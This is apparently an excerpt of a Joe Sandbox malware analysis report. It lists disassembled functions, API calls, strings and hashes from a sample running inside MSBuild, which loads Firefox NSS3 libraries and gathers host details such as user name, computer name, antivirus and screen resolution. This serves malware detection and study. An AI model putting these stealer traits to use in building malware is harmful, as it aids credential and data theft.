API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: 3aac9268fa5f1d356188b9517e0b76c62ab39e53ada2af3a17f0253670abc0f5
Instruction ID: 462c7f20cdfa399752f5612d319cf9aa8ed71d8ba63e30f4d1bc8136cf05da56
Opcode Fuzzy Hash: 3aac9268fa5f1d356188b9517e0b76c62ab39e53ada2af3a17f0253670abc0f5
Instruction Fuzzy Hash: D441D1B2D00255ABEB019F65EC41BAF7AB4AF44308F104168E91957B41F736EA58CBE2

Function 6CB0AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CB0AC52
CreateFileMappingW.KERNEL32 ref: 6CB0AC7D
GetSystemInfo.KERNEL32 ref: 6CB0AC98
MapViewOfFile.KERNEL32 ref: 6CB0ACB0
GetSystemInfo.KERNEL32 ref: 6CB0ACCD
MapViewOfFile.KERNEL32 ref: 6CB0AD05
UnmapViewOfFile.KERNEL32 ref: 6CB0AD1C
CloseHandle.KERNEL32 ref: 6CB0AD28
UnmapViewOfFile.KERNEL32 ref: 6CB0AD37
CloseHandle.KERNEL32 ref: 6CB0AD43
CloseHandle.KERNEL32 ref: 6CB0AD67

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: b52aff13ea262dfd05f41e71ed3dc37bdc923a3947118e607446d00f25d7a823
Instruction ID: 7456d34f40e417d811d93189758edd70258f76d98cf0cdbae250eead7e3b3e45
Opcode Fuzzy Hash: b52aff13ea262dfd05f41e71ed3dc37bdc923a3947118e607446d00f25d7a823
Instruction Fuzzy Hash: 52313DB1A047448FDB00BF78D64926EBBF0FF85305F054A2DE98697211EF749488CB82

Function 0041BAA4 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 175fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?,00000000,?,086824A0), ref: 0041BAD8
GetFileSize.KERNEL32(?,00000000), ref: 0041BB51
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 0041BB6D
ReadFile.KERNEL32(?,?,00000002,?,00000000), ref: 0041BB81
SetFilePointer.KERNEL32(?,00000024,00000000,00000000), ref: 0041BB8A
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 0041BB9A
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 0041BBB8
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 0041BBC8

Strings

, xrefs: 0041BB24

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$PointerRead$HandleInformationSize
String ID:
API String ID: 2979504256-3916222277
Opcode ID: b93520a0e31e70c5fcafbd99113cd43e56b40bfe3ff6e632537e59c659fb1c6e
Instruction ID: cb892b0c559bbcf0e4207802013ae1cf0d61ca8ae93d0e0fc4d1a3101aeab4e7
Opcode Fuzzy Hash: b93520a0e31e70c5fcafbd99113cd43e56b40bfe3ff6e632537e59c659fb1c6e
Instruction Fuzzy Hash: E951F471D00218AFDB18DF99DC85AEEBBB9EF04304F10442AE511E6660D738AD85CF94

Function 6CBF6C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CBF6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBF6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBF6CA3

Part of subcall function 6CCDD930: PL_strncpyz.NSS3(?,?,?), ref: 6CCDD963

PR_LogPrint.NSS3(?,00000000), ref: 6CBF6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CBF6CD5

Strings

hSession = 0x%x, xrefs: 6CBF6C7E, 6CBF6C8E
(CK_INVALID_HANDLE), xrefs: 6CBF6C9C
C_DigestInit, xrefs: 6CBF6C61
pMechanism = 0x%p, xrefs: 6CBF6CD0

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 693534893129e6bac107e0067cf2273b0672c65373eda52ec5a3bf927df62810
Instruction ID: b56c40efd778a3947ad36af889ce0c7c910dedd65e984f9940fcebaa7e23ef21
Opcode Fuzzy Hash: 693534893129e6bac107e0067cf2273b0672c65373eda52ec5a3bf927df62810
Instruction Fuzzy Hash: 3D2136306011909FEB009B14DD59F9E7BB9EB4231CF454025EB1897B02EF38A80DCBA6

Function 6CBC6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CBC7D8F,6CBC7D8F,?,?), ref: 6CBC6DC8

Part of subcall function 6CC1FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CC1FE08
Part of subcall function 6CC1FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CC1FE1D
Part of subcall function 6CC1FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CC1FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CBC7D8F,?,?), ref: 6CBC6DD5

Part of subcall function 6CC210C0: TlsGetValue.KERNEL32(?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC210F3
Part of subcall function 6CC210C0: EnterCriticalSection.KERNEL32(?,?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC2110C
Part of subcall function 6CC210C0: PL_ArenaAllocate.NSS3(?,?,?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC21141
Part of subcall function 6CC210C0: PR_Unlock.NSS3(?,?,?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC21182
Part of subcall function 6CC210C0: TlsGetValue.KERNEL32(?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC2119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CCE8FA0,00000000,?,?,?,?,6CBC7D8F,?,?), ref: 6CBC6DF7

Part of subcall function 6CC1B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCF18D0,?), ref: 6CC1B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CBC6E35

Part of subcall function 6CC1FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CC1FE29
Part of subcall function 6CC1FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CC1FE3D
Part of subcall function 6CC1FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CC1FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CBC6E4C

Part of subcall function 6CC210C0: PL_ArenaAllocate.NSS3(?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC2116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CCE8FE0,00000000), ref: 6CBC6E82

Part of subcall function 6CBC6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CBCB21D,00000000,00000000,6CBCB219,?,6CBC6BFB,00000000,?,00000000,00000000,?,?,?,6CBCB21D), ref: 6CBC6B01
Part of subcall function 6CBC6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CBC6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CBC6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CBC6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CCE8FE0,00000000), ref: 6CBC6F6B
PR_SetError.NSS3(FFFFE005,00000000,6CBC7D8F,?,?), ref: 6CBC6FE1

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: ea26be77768c4198c3739f259cc62e8875ed9445b071ec4d5ca7a374122fdbcc
Instruction ID: 16558fd4085d3a74fac3b146a98f50ce34644737dc95846d4fe6ec16b0f8cbf9
Opcode Fuzzy Hash: ea26be77768c4198c3739f259cc62e8875ed9445b071ec4d5ca7a374122fdbcc
Instruction Fuzzy Hash: 64716C71E146869FEB00CF15CD40EBABBA4FF94308F154269E808D7A11F770EA95CB92

Function 6CC0ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CBECDBB,?,6CBED079,00000000,00000001), ref: 6CC0AE10
EnterCriticalSection.KERNEL32(?,?,6CBECDBB,?,6CBED079,00000000,00000001), ref: 6CC0AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CBED079,00000000,00000001), ref: 6CC0AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CBECDBB,?,6CBED079,00000000,00000001), ref: 6CC0AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CBECDBB,?,6CBED079,00000000,00000001), ref: 6CC0AE7F
TlsGetValue.KERNEL32(?,6CBECDBB,?,6CBED079,00000000,00000001), ref: 6CC0AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CBECDBB,?,6CBED079,00000000,00000001), ref: 6CC0AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CBECDBB,?,6CBED079,00000000,00000001), ref: 6CC0AEF1
free.MOZGLUE(6CBECDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBECDBB,?), ref: 6CC0AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CBECDBB,?,6CBED079,00000000,00000001), ref: 6CC0AF30

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 829cea815d9918611b0cfddb6224ac895d72bfbcc6433c4d53d8641c1910a643
Instruction ID: 839b53301a51e14ec1b20763e9097ea2b044b7a68d9fcefb08cd102558e44f60
Opcode Fuzzy Hash: 829cea815d9918611b0cfddb6224ac895d72bfbcc6433c4d53d8641c1910a643
Instruction Fuzzy Hash: 35518EB1A00602AFEB01DF25D885B6AB7B4FF45318F144664EA1897E11F732F9A4CBD1

Function 6CBE4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CBEAB7F,?,00000000,?), ref: 6CBE4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CBEAB7F,?,00000000,?), ref: 6CBE4CC8
TlsGetValue.KERNEL32(?,6CBEAB7F,?,00000000,?), ref: 6CBE4CE0
EnterCriticalSection.KERNEL32(?,?,6CBEAB7F,?,00000000,?), ref: 6CBE4CF4
PL_HashTableLookup.NSS3(?,?,?,6CBEAB7F,?,00000000,?), ref: 6CBE4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CBE4D10

Part of subcall function 6CC6DD70: TlsGetValue.KERNEL32 ref: 6CC6DD8C
Part of subcall function 6CC6DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC6DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CBE4D26

Part of subcall function 6CC89DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CCD0A27), ref: 6CC89DC6
Part of subcall function 6CC89DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CCD0A27), ref: 6CC89DD1
Part of subcall function 6CC89DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC89DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CBE4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CBE4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CBE4E02

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: f86877838369e8a84bd4511c049f64cfba554068158335e3c90dd4a708fec8da
Instruction ID: bd34793cab0ad7bdaa55b8d690c94b664644b83b6897b2e9c0f2cb21048ae105
Opcode Fuzzy Hash: f86877838369e8a84bd4511c049f64cfba554068158335e3c90dd4a708fec8da
Instruction Fuzzy Hash: 2441B7B5D001559BEB005F65EC40A6A77A8EF09699F058170ED08C7B11FF31ED58CBA2

Function 6CB4CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CB4B999), ref: 6CB4CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CB4B999), ref: 6CB4D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CB4B999), ref: 6CB4D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CB4B999), ref: 6CC9972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB4CFDD, 6CB4D00E, 6CB4D022, 6CB4D033, 6CC99780
%s at line %d of [%.10s], xrefs: 6CB4CFEC, 6CB4D018, 6CB4D029, 6CB4D03F, 6CC9978B
database corruption, xrefs: 6CB4CFE7, 6CB4D013, 6CB4D028, 6CB4D039, 6CB4D03E, 6CC99786

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 46e78569734a8a82403bc12ff32326070af72c2c75b034e0b997b2d168fb88fb
Instruction ID: 6c1c67dc5018a2832bdf06c9fd3cc36be788fedd2515dee6dc688705da5af20d
Opcode Fuzzy Hash: 46e78569734a8a82403bc12ff32326070af72c2c75b034e0b997b2d168fb88fb
Instruction Fuzzy Hash: 74613671A042509FD710CF29C840BA6B7F5EF95318F2885ADE4489FB82E376D84BC7A1

Function 0040DB7F Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109stringmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,75AA5460,?,00000000), ref: 0040DBBB
strchr.MSVCRT ref: 0040DBCD
strchr.MSVCRT ref: 0040DBF2
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC14
GetProcessHeap.KERNEL32(00000008,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040DC21
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC28
strcpy_s.MSVCRT ref: 0040DC6F

Strings

0123456789ABCDEF, xrefs: 0040DB99

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heaplstrlenstrchr$AllocProcessstrcpy_s
String ID: 0123456789ABCDEF
API String ID: 453150750-2554083253
Opcode ID: d7f8adf961633c923ded35c4b7c571d3f1c689bf508e1cbb2af2f09870105798
Instruction ID: 06d15f49a8eb9cf9066e179aa7ea4312028ee3a66f1e5adc80d081fb3659f8e0
Opcode Fuzzy Hash: d7f8adf961633c923ded35c4b7c571d3f1c689bf508e1cbb2af2f09870105798
Instruction Fuzzy Hash: 4A315D72D002199FDB00DFE8DC49ADEBBB9AF09355F100179E901FB281DB79A909CB94

Function 0041FA62 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 77COMMON

Download Yara Rule

APIs

UnDecorator::getArgumentList.LIBCMT ref: 0041FA87

Part of subcall function 0041F622: Replicator::operator[].LIBCMT ref: 0041F6A5
Part of subcall function 0041F622: DName::operator+=.LIBCMT ref: 0041F6AD

DName::operator+.LIBCMT ref: 0041FAE0
DName::DName.LIBCMT ref: 0041FB38

Strings

void, xrefs: 0041FB30
<ellipsis>, xrefs: 0041FB22
,<ellipsis>, xrefs: 0041FAD3
,..., xrefs: 0041FACC, 0041FAD8
..., xrefs: 0041FB1B, 0041FB27

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ArgumentDecorator::getListNameName::Name::operator+Name::operator+=Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 834187326-2211150622
Opcode ID: d3ab2409594bd746038f666c063a4042a3e3f6ffbbc6970485e0b6f7108b7cf3
Instruction ID: 6b38829ecadea6215c8f6510e569e1b7c44c0c93244dcadd2c287e51603536b5
Opcode Fuzzy Hash: d3ab2409594bd746038f666c063a4042a3e3f6ffbbc6970485e0b6f7108b7cf3
Instruction Fuzzy Hash: 72217130601208AFCB11DF5CD4549AA7BB4EF4538AB54806AE845CB362E738E987CB4C

Function 004213FB Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 00421405
DName::DName.LIBCMT ref: 00421411

Part of subcall function 0041F0DC: DName::doPchar.LIBCMT ref: 0041F10D

UnDecorator::getScopedName.LIBCMT ref: 00421450
DName::operator+=.LIBCMT ref: 0042145A
DName::operator+=.LIBCMT ref: 00421469
DName::operator+=.LIBCMT ref: 00421475
DName::operator+=.LIBCMT ref: 00421482

Strings

void, xrefs: 00421461

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID: void
API String ID: 1480779885-3531332078
Opcode ID: 4593ccc2295a5eef351ee994040e2c1cea314195fe000b448df242ee6b74f299
Instruction ID: 57a596a2ca760a273274528444675b4bf9d61aebdbb2dca40c7be891dda90938
Opcode Fuzzy Hash: 4593ccc2295a5eef351ee994040e2c1cea314195fe000b448df242ee6b74f299
Instruction Fuzzy Hash: B811C671A00218AFD714FF68D856BE97B60AF20305F44409BE4069B2F2DB78DA86CB49

Function 00411563 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 00411575
GetDeviceCaps.GDI32(00000000,00000008), ref: 00411580
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0041158B
ReleaseDC.USER32(00000000,00000000), ref: 00411596
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4), ref: 004115A2
HeapAlloc.KERNEL32(00000000,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 004115A9
wsprintfA.USER32 ref: 004115BB

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Strings

%dx%d, xrefs: 004115B5

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
